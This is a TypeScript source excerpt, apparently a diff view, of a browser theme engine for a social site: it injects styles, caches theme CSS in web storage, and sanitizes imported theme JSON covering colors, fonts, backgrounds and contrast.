})) as ResolvedFonts;
}
/** Every style rule of `doc`'s stylesheets (inside media/supports groups too), except `own`'s. */
export function collectRules(doc: Document, own: HTMLStyleElement | null): RuleLike[] {
const rules: RuleLike[] = [];
const walk = (list: CSSRuleList) => {
for (const rule of Array.from(list)) {
if ('selectorText' in rule && 'style' in rule) rules.push(rule as unknown as RuleLike);
else if ('cssRules' in rule && !('selectorText' in rule)) walk((rule as CSSGroupingRule).cssRules);
}
};
for (const sheet of Array.from(doc.styleSheets)) {
if (own && sheet.ownerNode === own) continue;
try { walk(sheet.cssRules); } catch { /* Cross-origin sheet. */ }
}
return rules;
}
function ruleCount(doc: Document): number {
let count = 0;
for (const sheet of Array.from(doc.styleSheets)) { try { count += sheet.cssRules.length; } catch { /* Cross-origin. */ } }
return count;
}
/**
* The last theme CSS a tab showed, kept in the page's own storage so the next document paints it
* from its first frame: native code only hands the theme over once the page has finished loading,
* and the live CSS needs the site's rules, which it inserts while it renders. sessionStorage is per
* tab and survives reloads and navigations; localStorage (smaller cap: the site uses it too) is per
* account and covers a tab's first document.
*/
export type ThemeSnapshot = { key: string; choice: unknown; css: string };
const SNAPSHOT_KEY = 'wb:theme-snapshot';
export const SNAPSHOT_SESSION_MAX = 1_000_000;
export const SNAPSHOT_LOCAL_MAX = 200_000;
export type SnapshotStores = { session?: Storage | null; local?: Storage | null };
function stores(win: Window): SnapshotStores {
const get = (name: 'sessionStorage' | 'localStorage') => { try { return win[name]; } catch { return null; } };
return { session: get('sessionStorage'), local: get('localStorage') };
}
export function readSnapshot({ session, local }: SnapshotStores): ThemeSnapshot | null {
for (const store of [session, local]) {
try {
const value = JSON.parse(store?.getItem(SNAPSHOT_KEY) || 'null') as Partial<ThemeSnapshot> | null;
if (value && typeof value.key === 'string' && typeof value.css === 'string' && value.css && value.choice) return value as ThemeSnapshot;
} catch { /* Missing, blocked or foreign data: no snapshot. */ }
}
return null;
}
/** Stores `snapshot` (null clears it: the site's own look needs none), each store within its cap. */
export function writeSnapshot({ session, local }: SnapshotStores, snapshot: ThemeSnapshot | null) {
const json = snapshot ? JSON.stringify(snapshot) : '';
for (const [store, max] of [[session, SNAPSHOT_SESSION_MAX], [local, SNAPSHOT_LOCAL_MAX]] as const) {
try {
if (json && json.length <= max) store?.setItem(SNAPSHOT_KEY, json);
else store?.removeItem(SNAPSHOT_KEY);
} catch { /* Quota or blocked storage: the next document just starts unthemed. */ }
}
}
/** What the engine needs to know about a site. `Mode` is the site's own color mode (X: light, dim, dark). */
export type ThemeRuntimeSite<Mode extends string = string> = {
/** The site's built-in themes (themeChoice.ts). */
catalog: ThemeCatalog;
/** The mode before the page has a body. */
initialMode: Mode;
/** The site's color mode as the page paints it now (read before the theme's own override: e.g. the body's inline style). */
readMode(win: Window): Mode;
/** The theme's CSS for the site's current `rules` (the engine's own sheet excluded) in `mode`; `vars` are `siteVars` as the site sets them. */
css(rules: RuleLike[], choice: ThemeChoice, mode: Mode, vars: Record<string, string>): string;
/** The active theme resolved for plugins and the UI kit (the site's own palette when the theme keeps its colors). */
resolved(choice: ThemeChoice, mode: Mode): ResolvedTheme;
/** Custom properties of the site's root read with the theme's sheet disabled (their unthemed values). */
siteVars?: readonly string[];
/** Id of the theme's `<style>` (default `wb-theme-css`). */
styleId?: string;
/** Name in console errors. */
name?: string;
};
export type ThemeHandle<Mode extends string = string> = {
apply(choice: unknown): void;
current(): ThemeChoice;
theme(): ThemeSpec;
/** The site's color mode the theme was last rendered for. */
mode(): Mode;
/** The active theme as values for plugins (`api.theme.current()`). */
resolved(): ResolvedTheme;
/** Calls `listener` after the theme or the site's color mode changes. */
onChange(listener: () => void): () => void;
};
export type ThemeRuntimeOptions = { /** Registers bundled families (e.g. "Geist") in the page before they are used. */ loadFonts?(names: string[]): void };
const VARS_ID = 'wb-theme-vars';
/** Keeps the site's page in the owner's theme (see the top of this file). */
export function installThemeRuntime<Mode extends string>(win: Window, site: ThemeRuntimeSite<Mode>, options: ThemeRuntimeOptions = {}): ThemeHandle<Mode> {
const doc = win.document;
const name = site.name ?? 'wayBetter';
const styleId = site.styleId ?? 'wb-theme-css';
const { catalog } = site;
// Document start (no <html> yet): the snapshot as an adopted sheet paints with the site's first
// frame. It stays while the live CSS is for the same theme and site mode, and goes when they differ.
const storage = stores(win);
const snapshot = readSnapshot(storage);
let early: CSSStyleSheet | null = null;
if (snapshot) {
try {
const Sheet = (win as Window & typeof globalThis).CSSStyleSheet;
early = new Sheet();
early.replaceSync(snapshot.css);
doc.adoptedStyleSheets = [...doc.adoptedStyleSheets, early];
} catch { early = null; }
}
const dropEarly = () => {
if (!early) return;
const sheet = early;
early = null;
try { doc.adoptedStyleSheets = doc.adoptedStyleSheets.filter(item => item !== sheet); } catch { /* Never break the site. */ }
};
let savedCss = snapshot?.css ?? '';
let choice = catalog.defaultChoice;
let theme = catalog.resolve(choice);
let lastKey = '';
let timer: ReturnType<typeof setInterval> | null = null;
const active = () => !isNeutral(theme) || !!choice.accent;
let mode: Mode = site.initialMode;
let resolved: ResolvedTheme = site.resolved(choice, mode);
let resolvedKey = themeKey(resolved);
const listeners = new Set<() => void>();
const readMode = () => (doc.body ? site.readMode(win) : mode);
/** `--wb-*` on :root for plugin CSS, and a change notice when anything visible changed. */
const syncResolved = () => {
if (doc.body) mode = readMode();
resolved = site.resolved(choice, mode);
const key = themeKey(resolved);
let vars = doc.getElementById(VARS_ID) as HTMLStyleElement | null;
if (!vars?.isConnected) {
vars = doc.createElement('style');
vars.id = VARS_ID;
(doc.head || doc.documentElement).appendChild(vars);
}
const css = themeVarsCss(resolved);
if (vars.textContent !== css) vars.textContent = css;
if (key === resolvedKey) return;
resolvedKey = key;
for (const listener of [...listeners]) {
try { listener(); } catch (error) { console.error(`[${name}] theme listener failed`, error); }
}
};
let modeObserver: MutationObserver | null = null;
const watchMode = () => {
if (modeObserver || !doc.body) return;
// Sites repaint the body when their own display setting changes (X: Default / Dim / Lights out).
const Observer = (win as Window & typeof globalThis).MutationObserver ?? globalThis.MutationObserver;
if (!Observer) return;
modeObserver = new Observer(() => { try { if (readMode() !== mode) syncResolved(); } catch { /* Never break the site. */ } });
modeObserver.observe(doc.body, { attributes: true, attributeFilter: ['style'] });
};
const render = (force = false) => {
let style = doc.getElementById(styleId) as HTMLStyleElement | null;
if (doc.body) { watchMode(); syncResolved(); }
if (!active()) { style?.remove(); lastKey = ''; dropEarly(); if (savedCss) { savedCss = ''; writeSnapshot(storage, null); } return; }
if (!doc.body) return;
const snapshotKey = `${JSON.stringify(choice)}|${mode}`;
if (early && snapshot?.key !== snapshotKey) dropEarly();
const key = `${JSON.stringify(choice)}|${mode}|${ruleCount(doc) - (style?.sheet?.cssRules.length ?? 0)}`;
if (!force && key === lastKey) return;
lastKey = key;
if (!style) { style = doc.createElement('style'); style.id = styleId; }
// The site's own values, not the ones our previous render overrode (switching themes re-reads them).
if (style.sheet) style.sheet.disabled = true;
const vars: Record<string, string> = {};
if (site.siteVars?.length) {
const rootStyle = win.getComputedStyle(doc.documentElement);
for (const name of site.siteVars) vars[name] = rootStyle.getPropertyValue(name).trim();
}
if (style.sheet) style.sheet.disabled = false;
const css = site.css(collectRules(doc, style), choice, mode, vars);
if (style.textContent !== css) style.textContent = css;
// Last in <head> so equal-specificity `!important` rules win over the site's.
if (style.parentNode !== doc.head || doc.head.lastElementChild !== style) (doc.head || doc.documentElement).appendChild(style);
const full = `${themeVarsCss(resolved)}\n${css}`;
if (full !== savedCss) { savedCss = full; writeSnapshot(storage, { key: snapshotKey, choice, css: full }); }
};
const handle: ThemeHandle<Mode> = {
apply(input) {
choice = catalog.normalize(input);
theme = catalog.resolve(choice);
const fonts = bundledFontsUsed(theme);
if (fonts.length) { try { options.loadFonts?.(fonts); } catch (error) { console.error(`[${name}] theme fonts failed`, error); } }
if (active()) {
if (!timer) timer = setInterval(() => { try { render(); } catch { /* Never break the site. */ } }, 1200);
} else if (timer) { clearInterval(timer); timer = null; }
try { render(true); } catch (error) { console.error(`[${name}] theme failed`, error); }
win.dispatchEvent(new CustomEvent('wb-theme'));
},
current: () => choice,
theme: () => theme,
mode: () => mode,
resolved: () => {
if (doc.body && readMode() !== mode) syncResolved();
return resolved;
},
onChange(listener) {
listeners.add(listener);
return () => { listeners.delete(listener); };
},
};
// The snapshot's theme until native code hands over the current one (usually the same): the
// live CSS then already renders at DOMContentLoaded instead of after the page finished loading.
if (snapshot) { try { handle.apply(snapshot.choice); } catch { /* Never break the site. */ } }
if (doc.readyState === 'loading') doc.addEventListener('DOMContentLoaded', () => render(true), { once: true });
// `--wb-*` exist from the start (the site's own palette until a theme is applied), for plugins and the UI kit.
else if (doc.body) { try { watchMode(); syncResolved(); } catch { /* Never break the site. */ } }
return handle;
}

View file

@ -0,0 +1,521 @@
// Theme documents: a wayBetter theme is a JSON document (like a BetterDiscord theme, but data instead
// of a stylesheet) describing colors, type, shape, density, layout, background and motion; the format
// is `theme.schema.json` in the `waybetter` package. This module is the document side of the theme
// engine: types, the schema's defaults, sanitizing, import, panel overrides, legibility, font roles
// and stacks, and page backgrounds. Pure, so it runs in the page runtime, the settings previews and
// the tests. What a theme does to one site's page (its selectors, its palette) is the site's
// (themeRuntime.ts takes a site adapter).
//
// Safety: a theme is sanitized field by field before it becomes CSS. Colors are six-digit hex,
// numbers are clamped, enums are fixed, font names match a strict pattern, background images are
// `data:image/*;base64` only, and CSS is built from those values (never concatenated from raw
// strings). The single escape hatch is `css`, which is the same trust level as the owner's own
// Custom CSS and is shown as such when a theme is imported.
//
// Fonts: sites usually block remote and `data:` fonts (CSP `font-src`), so a theme may name installed
// system fonts, "Geist" / "Geist Mono" (bundled and registered from bytes: `FontFace(ArrayBuffer)` is
// not a fetch), or Google Fonts families the owner downloaded (`source: "google"`, fonts.ts).
import { FONT_ROLE_NAMES, MONO_FAMILIES, contrastRatio, hexToRgb, mix, relativeLuminance, type FontRoleName } from './themeApi.ts';
import { deriveColors } from './themeTokens.ts';
export { FONT_ROLE_NAMES } from './themeApi.ts';
export type { FontRoleName } from './themeApi.ts';
export type Role = 'bg' | 'surface' | 'elevated' | 'border' | 'text' | 'muted' | 'accent';
/** The site's filled primary button (X: "Post"/"Follow"): an `inverse` background with an `onInverse` label. */
export type ButtonRole = 'inverse' | 'onInverse';
export type Palette = Record<Role, string> & Partial<Record<ButtonRole, string>>;
/** `page` is the canvas behind the site's columns (defaults to `bg`); the columns stay on `bg`. */
export type ThemeColors = Palette & { page?: string };
export type Density = 'compact' | 'default' | 'comfortable';
export type AvatarShape = 'circle' | 'rounded' | 'square';
export type Pattern = 'dots' | 'grid' | 'diagonal' | 'scanlines' | 'paper' | 'clouds';
export type Background =
| { kind: 'none' }
| { kind: 'gradient'; from: string; to: string; angle: number; glow?: string }
| { kind: 'pattern'; pattern: Pattern; ink: string; opacity: number; size: number }
| { kind: 'image'; url: string; fit: 'cover' | 'tile'; dim: number };
/**
* One role's font (roles: themeApi.ts `FONT_ROLE_NAMES`). `family` is a font stack; empty keeps the
* inherited family and only changes the rest. `source: "google"` says the first family comes from
* Google Fonts (downloaded once, asked first when a theme is imported, loaded from bytes). `weight`
* (100-900), `size` (0.75-1.5, relative to the site's size), `tracking` (em) and `tabular` figures
* are optional; the interface role takes only `family`/`source` (its size, weights and tracking are
* `scale`, `weight`, `bold` and `tracking` of the whole theme).
*/
export type FontRoleSpec = { family: string[]; source?: 'google'; weight?: number; size?: number; tracking?: number; tabular?: boolean };
export type FontRole = 'inherit' | FontRoleSpec;
export type FontRoles = Record<FontRoleName, FontRole>;
export type FontSpec = {
/**
* Interface font stack (replaces the site's own font everywhere). Empty keeps the site's.
* Shorthand kept for older theme files and older apps: it always equals `roles.interface`'s family.
*/
family: string[];
/** Post text stack (e.g. a serif reading face); shorthand of `roles.post`'s family. */
tweet: string[];
/** Which font goes where. Every role inherits from `interface` unless it says otherwise. */
roles: FontRoles;
/** Multiplies the site's pixel font sizes (0.85-1.2). */
scale: number;
/** Regular weight (300-500) and bold weight (500-800) that replace the site's 400/700. */
weight: number;
bold: number;
/** Letter spacing in em (-0.03-0.06). */
tracking: number;
/** Line height multiplier for post text (0 keeps the site's). */
leading: number;
};
export type ShapeSpec = { radius: number; button: number; avatar: AvatarShape };
export type LayoutSpec = { column: number; sidebar: number; density: Density; cards: boolean; frame: boolean };
export type EffectsSpec = { motion: number; hover: 'none' | 'tint' | 'lift' | 'glow'; shadow: 'none' | 'soft' | 'deep'; crt: boolean };
export type ThemeSpec = {
id: string;
name: string;
description: string;
author: string;
version: 1;
/** Which way the theme leans; used for scrollbars/form controls and previews. */
mode: 'light' | 'dark' | 'auto';
/** null keeps the site's own colors (X: Default / Dim / Lights out). */
colors: ThemeColors | null;
font: FontSpec;
shape: ShapeSpec;
layout: LayoutSpec;
background: Background;
effects: EffectsSpec;
/** Free-form CSS appended last (owner-trusted, like Custom CSS). */
css: string;
};
/** Panel overrides: any group may be partially overridden on top of the selected theme. */
export type ThemeOverrides = {
colors?: Partial<ThemeColors>;
/** `roles` is merged role by role (a named role replaces that role only). */
font?: Partial<Omit<FontSpec, 'roles'>> & { roles?: Partial<FontRoles> };
shape?: Partial<ShapeSpec>;
layout?: Partial<LayoutSpec>;
background?: Background;
effects?: Partial<EffectsSpec>;
/** The theme's own CSS as edited in the panel (replaces the theme document's `css`). */
css?: { text: string };
};
// ---------------------------------------------------------------------------------------------
// The schema's defaults: a theme that sets nothing changes nothing (the site keeps its own geometry;
// a site's structure CSS only emits rules where a theme differs from these).
export const BASE_SHAPE: ShapeSpec = { radius: 16, button: 9999, avatar: 'circle' };
export const INHERIT_ROLES: FontRoles = { interface: 'inherit', post: 'inherit', heading: 'inherit', numbers: 'inherit', mono: 'inherit', chrome: 'inherit', dialog: 'inherit' };
/** A font spec from the interface/post stacks alone (every other role inherits). */
export const withRoles = (font: Omit<FontSpec, 'roles'>): FontSpec => ({
...font,
roles: { ...INHERIT_ROLES, ...(font.family.length ? { interface: { family: font.family } } : {}), ...(font.tweet.length ? { post: { family: font.tweet } } : {}) },
});
export const BASE_FONT: FontSpec = withRoles({ family: [], tweet: [], scale: 1, weight: 400, bold: 700, tracking: 0, leading: 0 });
export const BASE_LAYOUT: LayoutSpec = { column: 600, sidebar: 350, density: 'default', cards: false, frame: false };
export const BASE_EFFECTS: EffectsSpec = { motion: 0, hover: 'none', shadow: 'none', crt: false };
/** The system UI stack themes put after their own sans-serif families. */
export const SYSTEM_SANS = ['Segoe UI', '-apple-system', 'BlinkMacSystemFont', 'system-ui', 'sans-serif'];
// ---------------------------------------------------------------------------------------------
// Colors and contrast (luminance and ratios: themeApi.ts)
export const isHex = (value: unknown): value is string => typeof value === 'string' && /^#[0-9a-f]{6}$/i.test(value);
/** `#rrggbb` + alpha as `rgba()`. */
export const rgba = (hex: string, alpha: number) => `rgba(${hexToRgb(hex).join(', ')}, ${+alpha.toFixed(3)})`;
/** Moves `color` toward black or white until it reaches `ratio` against every surface. */
function reach(color: string, surfaces: string[], ratio: number): string {
const worst = (c: string) => Math.min(...surfaces.map(s => contrastRatio(c, s)));
if (worst(color) >= ratio) return color;
const lightSurfaces = surfaces.reduce((sum, s) => sum + relativeLuminance(s), 0) / surfaces.length > 0.18;
const pole = lightSurfaces ? '#000000' : '#ffffff';
for (let t = 0.04; t <= 1; t += 0.04) {
const next = mix(color, pole, t);
if (worst(next) >= ratio) return next;
}
return pole;
}
/**
* Guarantees legibility for any palette (built-in, imported or overridden): text, secondary text
* and links reach WCAG AA (4.5:1) on every surface, including the page canvas, and the site's filled
* button keeps a readable label and stands out from the page (3:1).
*/
export function ensureContrast<T extends Palette & { page?: string }>(colors: T): T {
const surfaces = [colors.bg, colors.surface, colors.elevated, ...(colors.page ? [colors.page] : [])];
const out = { ...colors };
out.text = reach(colors.text, surfaces, 7);
out.muted = reach(colors.muted, surfaces, 4.5);
// Links live inside the columns, never on the page canvas.
out.accent = reach(colors.accent, [colors.bg, colors.surface, colors.elevated], 4.5);
const inverse = colors.inverse ?? out.text;
const onInverse = colors.onInverse ?? colors.bg;
out.inverse = reach(inverse, [colors.bg], 3);
out.onInverse = reach(onInverse, [out.inverse], 4.5);
return out;
}
// ---------------------------------------------------------------------------------------------
// Sanitizing
const GENERIC_FONTS = new Set(['system-ui', 'sans-serif', 'serif', 'monospace', 'cursive', 'ui-sans-serif', 'ui-serif', 'ui-monospace', 'ui-rounded', '-apple-system', 'BlinkMacSystemFont']);
const FONT_NAME = /^[A-Za-z0-9][A-Za-z0-9 .\-]{0,47}$/;
const DATA_IMAGE = /^data:image\/(png|jpeg|webp|gif|avif);base64,[A-Za-z0-9+/]+={0,2}$/;
export const MAX_IMAGE_CHARS = 1_100_000;
export const MAX_CSS_CHARS = 60_000;
const PATTERNS: Pattern[] = ['dots', 'grid', 'diagonal', 'scanlines', 'paper', 'clouds'];
const obj = (value: unknown): Record<string, unknown> => value && typeof value === 'object' && !Array.isArray(value) ? value as Record<string, unknown> : {};
const num = (value: unknown, min: number, max: number, fallback: number) => typeof value === 'number' && Number.isFinite(value) ? Math.min(max, Math.max(min, value)) : fallback;
const pick = <T extends string>(value: unknown, options: readonly T[], fallback: T): T => options.includes(value as T) ? value as T : fallback;
const text = (value: unknown, max: number, fallback = '') => typeof value === 'string' ? value.replace(/[\u0000-\u001f\u007f]/g, '').trim().slice(0, max) : fallback;
export function sanitizeFonts(value: unknown): string[] {
if (!Array.isArray(value)) return [];
return value.filter((name): name is string => typeof name === 'string' && (GENERIC_FONTS.has(name) || FONT_NAME.test(name))).slice(0, 8);
}
/** A theme needs its background, text and accent; any other role it leaves out is derived from the
* base structure (themeTokens.ts `deriveColors`), so every theme has the same proportions. */
function sanitizeColors(value: unknown): ThemeColors | null {
const source = obj(value);
if (!(['bg', 'text', 'accent'] as const).every(role => isHex(source[role]))) return null;
const named = Object.fromEntries((['bg', 'surface', 'elevated', 'border', 'text', 'muted', 'accent'] as Role[])
.filter(role => isHex(source[role])).map(role => [role, (source[role] as string).toLowerCase()]));
const colors = deriveColors(named as { bg: string; text: string; accent: string }) as ThemeColors;
for (const role of ['inverse', 'onInverse', 'page'] as const) if (isHex(source[role])) colors[role] = (source[role] as string).toLowerCase();
return colors;
}
export function sanitizeBackground(value: unknown): Background {
const source = obj(value);
if (source.kind === 'gradient' && isHex(source.from) && isHex(source.to)) {
return { kind: 'gradient', from: source.from.toLowerCase(), to: source.to.toLowerCase(), angle: Math.round(num(source.angle, 0, 360, 180)), ...(isHex(source.glow) ? { glow: source.glow.toLowerCase() } : {}) };
}
if (source.kind === 'pattern' && isHex(source.ink)) {
return { kind: 'pattern', pattern: pick(source.pattern, PATTERNS, 'dots'), ink: source.ink.toLowerCase(), opacity: num(source.opacity, 0, 0.6, 0.1), size: Math.round(num(source.size, 2, 400, 24)) };
}
if (source.kind === 'image' && typeof source.url === 'string' && source.url.length <= MAX_IMAGE_CHARS && DATA_IMAGE.test(source.url)) {
return { kind: 'image', url: source.url, fit: pick(source.fit, ['cover', 'tile'] as const, 'cover'), dim: num(source.dim, 0.35, 0.95, 0.6) };
}
return { kind: 'none' };
}
/** Bounds of a role's own settings (the JSON Schema says the same; tested). */
export const ROLE_LIMITS = { weight: [100, 900], size: [0.75, 1.5], tracking: [-0.05, 0.1] } as const;
/** One role from JSON: "inherit", or a stack with optional extras (clamped; unknown keys dropped). */
export function sanitizeFontRole(value: unknown, role: FontRoleName): FontRole {
if (value === 'inherit' || value === null || value === undefined) return 'inherit';
const source = obj(value);
if (!Object.keys(source).length) return 'inherit';
const family = sanitizeFonts(source.family);
const out: FontRoleSpec = { family };
if (source.source === 'google' && family.length && !GENERIC_FONTS.has(family[0]!)) out.source = 'google';
if (role !== 'interface') {
if (typeof source.weight === 'number' && Number.isFinite(source.weight)) out.weight = Math.round(num(source.weight, ...ROLE_LIMITS.weight, 400));
if (typeof source.size === 'number' && Number.isFinite(source.size)) out.size = +num(source.size, ...ROLE_LIMITS.size, 1).toFixed(3);
if (typeof source.tracking === 'number' && Number.isFinite(source.tracking)) out.tracking = +num(source.tracking, ...ROLE_LIMITS.tracking, 0).toFixed(4);
if (source.tabular === true) out.tabular = true;
}
// A role that changes nothing is the same as inheriting.
return Object.keys(out).length === 1 && !family.length ? 'inherit' : out;
}
const roleFamily = (role: FontRole): string[] => role === 'inherit' ? [] : role.family;
/** A role with a new family, keeping its other settings (and its Google source only for the same font). */
export function withFamily(role: FontRole, family: string[], source?: 'google'): FontRole {
const rest = role === 'inherit' ? {} : { ...role };
delete (rest as Partial<FontRoleSpec>).source;
delete (rest as Partial<FontRoleSpec>).family;
const next: FontRoleSpec = { ...rest, family, ...(source && family.length ? { source } : {}) };
return Object.keys(next).length === 1 && !family.length ? 'inherit' : next;
}
/**
* The roles of a font group from JSON over `base`: `roles.<name>` wins; the legacy shorthand
* (`family` → interface, `tweet` → post) applies when that role is not named, so theme files and
* saved customizations from before font roles keep working.
*/
function sanitizeRoles(source: Record<string, unknown>, base: FontSpec): FontRoles {
const named = obj(source.roles);
const roles = { ...base.roles };
for (const role of FONT_ROLE_NAMES) if (role in named) roles[role] = sanitizeFontRole(named[role], role);
if (!('interface' in named) && 'family' in source) roles.interface = withFamily(base.roles.interface, sanitizeFonts(source.family), sameFirst(source.family, base.roles.interface));
if (!('post' in named) && 'tweet' in source) roles.post = withFamily(base.roles.post, sanitizeFonts(source.tweet), sameFirst(source.tweet, base.roles.post));
return roles;
}
/** Keeps a role's Google source when the shorthand still names the same first family. */
function sameFirst(stack: unknown, role: FontRole): 'google' | undefined {
return role !== 'inherit' && role.source === 'google' && Array.isArray(stack) && stack[0] === role.family[0] ? 'google' : undefined;
}
function sanitizeFont(value: unknown, base: FontSpec): FontSpec {
const source = obj(value);
const roles = sanitizeRoles(source, base);
return {
family: roleFamily(roles.interface),
tweet: roleFamily(roles.post),
roles,
scale: num(source.scale, 0.85, 1.2, base.scale),
weight: Math.round(num(source.weight, 300, 500, base.weight)),
bold: Math.round(num(source.bold, 500, 800, base.bold)),
tracking: num(source.tracking, -0.03, 0.06, base.tracking),
leading: source.leading === 0 ? 0 : num(source.leading, 1.2, 1.8, base.leading),
};
}
const sanitizeShape = (value: unknown, base: ShapeSpec): ShapeSpec => {
const source = obj(value);
return { radius: Math.round(num(source.radius, 0, 28, base.radius)), button: Math.round(num(source.button, 0, 9999, base.button)), avatar: pick(source.avatar, ['circle', 'rounded', 'square'] as const, base.avatar) };
};
const sanitizeLayout = (value: unknown, base: LayoutSpec): LayoutSpec => {
const source = obj(value);
return {
column: Math.round(num(source.column, 520, 820, base.column)), sidebar: Math.round(num(source.sidebar, 290, 400, base.sidebar)),
density: pick(source.density, ['compact', 'default', 'comfortable'] as const, base.density),
cards: typeof source.cards === 'boolean' ? source.cards : base.cards, frame: typeof source.frame === 'boolean' ? source.frame : base.frame,
};
};
const sanitizeEffects = (value: unknown, base: EffectsSpec): EffectsSpec => {
const source = obj(value);
return {
motion: Math.round(num(source.motion, 0, 400, base.motion)), hover: pick(source.hover, ['none', 'tint', 'lift', 'glow'] as const, base.hover),
shadow: pick(source.shadow, ['none', 'soft', 'deep'] as const, base.shadow), crt: typeof source.crt === 'boolean' ? source.crt : base.crt,
};
};
export const slug = (value: string) => value.toLowerCase().normalize('NFKD').replace(/[^a-z0-9]+/g, '-').replace(/^-+|-+$/g, '').slice(0, 40) || 'theme';
/** Any JSON to a complete, safe theme. Missing groups fall back to the schema's defaults. */
export function sanitizeSpec(input: unknown): ThemeSpec {
const source = obj(input);
const name = text(source.name, 60) || 'Untitled theme';
const id = typeof source.id === 'string' && /^[a-z0-9-]{1,40}$/.test(source.id) ? source.id : slug(name);
return {
id, name, description: text(source.description, 200), author: text(source.author, 60), version: 1,
mode: pick(source.mode, ['light', 'dark', 'auto'] as const, 'auto'),
colors: sanitizeColors(source.colors),
font: sanitizeFont(source.font, BASE_FONT),
shape: sanitizeShape(source.shape, BASE_SHAPE),
layout: sanitizeLayout(source.layout, BASE_LAYOUT),
background: sanitizeBackground(source.background),
effects: sanitizeEffects(source.effects, BASE_EFFECTS),
css: typeof source.css === 'string' ? source.css.slice(0, MAX_CSS_CHARS) : '',
};
}
/** Parses an imported file; errors are human-readable. */
export function parseThemeJson(json: string): { theme: ThemeSpec; warnings: string[] } | { error: string } {
let raw: unknown;
try { raw = JSON.parse(json); } catch { return { error: 'This file is not valid JSON.' }; }
const source = obj(raw);
if (typeof source.name !== 'string' || !source.name.trim()) return { error: 'A theme needs a "name".' };
const theme = sanitizeSpec(raw);
const warnings: string[] = [];
if (source.colors !== undefined && source.colors !== null && !theme.colors) warnings.push('Colors were ignored: bg, text and accent must be #rrggbb (the other roles are derived when missing).');
if (theme.css) warnings.push('Contains custom CSS, which runs inside the site like your own Custom CSS.');
if (source.background && theme.background.kind === 'none' && obj(source.background).kind !== 'none') warnings.push('The background was ignored (images must be data:image/png, jpeg, webp, gif or avif, up to about 800 KB).');
if (theme.colors) {
const fixed = ensureContrast(theme.colors);
if (fixed.text !== theme.colors.text || fixed.muted !== theme.colors.muted || fixed.accent !== theme.colors.accent) warnings.push('Some text colors were adjusted to stay readable.');
}
return { theme, warnings };
}
/** Applies panel overrides (and an accent) on top of a theme. Colors are then made legible. */
export function applyOverrides(theme: ThemeSpec, overrides: ThemeOverrides = {}, accent: string | null = null): ThemeSpec {
const o = obj(overrides) as ThemeOverrides;
let colors = theme.colors ? { ...theme.colors, ...Object.fromEntries(Object.entries(obj(o.colors)).filter(([, v]) => isHex(v))) } as ThemeColors : null;
if (colors && accent) colors = { ...colors, accent, ...(theme.colors?.inverse === theme.colors?.accent ? { inverse: accent } : {}) };
return {
...theme,
colors: colors ? ensureContrast(colors) : null,
// Missing keys fall back to the theme's own; the legacy `family`/`tweet` shorthand still overrides.
font: o.font ? sanitizeFont(o.font, theme.font) : theme.font,
shape: o.shape ? sanitizeShape({ ...theme.shape, ...o.shape }, theme.shape) : theme.shape,
layout: o.layout ? sanitizeLayout({ ...theme.layout, ...o.layout }, theme.layout) : theme.layout,
background: o.background ? sanitizeBackground(o.background) : theme.background,
effects: o.effects ? sanitizeEffects({ ...theme.effects, ...o.effects }, theme.effects) : theme.effects,
css: o.css && typeof o.css.text === 'string' ? o.css.text.slice(0, MAX_CSS_CHARS) : theme.css,
};
}
/** True when a theme changes nothing about the site (the site's own look without overrides). */
export function isNeutral(theme: ThemeSpec): boolean {
return !theme.colors && JSON.stringify([theme.font, theme.shape, theme.layout, theme.effects]) === JSON.stringify([BASE_FONT, BASE_SHAPE, BASE_LAYOUT, BASE_EFFECTS])
&& theme.background.kind === 'none' && !theme.css;
}
// ---------------------------------------------------------------------------------------------
// Fonts
/** Bundled families and the names they are registered under (shell: @fontsource; site pages: FontFace, fonts.ts). */
export const BUNDLED_FONTS: Record<string, string> = { 'Geist': 'Geist Variable', 'Geist Mono': 'Geist Mono Variable' };
export function fontStack(names: string[]): string {
const out: string[] = [];
for (const name of names) {
const real = BUNDLED_FONTS[name];
if (real) out.push(`"${real}"`);
out.push(GENERIC_FONTS.has(name) ? name : `"${name}"`);
}
// Emoji and CJK keep working whatever the theme names.
return [...new Set(out), '"Segoe UI Emoji"', '"Apple Color Emoji"', 'sans-serif'].join(', ');
}
/** Roles that are drawn inside the site's page (chrome is wayBetter's own window). */
export const PAGE_ROLES: FontRoleName[] = ['interface', 'post', 'heading', 'numbers', 'mono', 'dialog'];
const rolesUsing = (theme: ThemeSpec, roles: readonly FontRoleName[]) => roles.flatMap(role => roleFamily(theme.font.roles[role]));
/** Bundled families (Geist, Geist Mono) a theme names in the site's page. */
export const bundledFontsUsed = (theme: ThemeSpec, roles: readonly FontRoleName[] = PAGE_ROLES) => {
const names = new Set(rolesUsing(theme, roles));
return Object.keys(BUNDLED_FONTS).filter(name => names.has(name));
};
/** Google Fonts families a theme uses (`source: "google"`), for the given roles. */
export function googleFontsUsed(theme: ThemeSpec, roles: readonly FontRoleName[] = FONT_ROLE_NAMES): string[] {
const out = new Set<string>();
for (const role of roles) {
const spec = theme.font.roles[role];
if (spec !== 'inherit' && spec.source === 'google' && spec.family[0]) out.add(spec.family[0]);
}
return [...out];
}
/** A role resolved to what is drawn: the stack actually used and its settings. */
export type ResolvedFontRole = {
/** CSS `font-family`. */
stack: string;
/** The families of that stack (empty when it is the site's or app's own font). */
family: string[];
/** True when the family comes from another role (or the site/app default). */
inherited: boolean;
/** A Google Fonts family the stack starts with. */
google: string | null;
weight: number | null;
size: number;
tracking: number | null;
tabular: boolean;
};
export type ResolvedFontRoles = Record<FontRoleName, ResolvedFontRole>;
/**
* Every role resolved. `site` is the stack an inheriting interface uses: the site's own font in its
* page, wayBetter's own UI font in the shell. Every other role inherits the interface, except that an
* inheriting `mono` keeps a monospaced stack (`mono`: themeApi.ts `MONO_FAMILIES`, code rarely suits
* an interface font).
*/
export function resolveFontRoles(font: FontSpec, site: string, mono = fontStack(MONO_FAMILIES)): ResolvedFontRoles {
const base = font.roles.interface;
const baseFamily = roleFamily(base);
const root: ResolvedFontRole = {
stack: baseFamily.length ? fontStack(baseFamily) : site, family: baseFamily, inherited: !baseFamily.length,
google: base !== 'inherit' && base.source === 'google' ? baseFamily[0] ?? null : null,
weight: null, size: 1, tracking: null, tabular: false,
};
const out = { interface: root } as ResolvedFontRoles;
for (const role of FONT_ROLE_NAMES) {
if (role === 'interface') continue;
const spec = font.roles[role];
const own = roleFamily(spec);
const from = own.length
? { stack: fontStack(own), family: own, inherited: false, google: spec !== 'inherit' && spec.source === 'google' ? own[0]! : null }
: role === 'mono' ? { stack: mono, family: [] as string[], inherited: true, google: null }
: { stack: root.stack, family: root.family, inherited: true, google: root.google };
out[role] = {
...from,
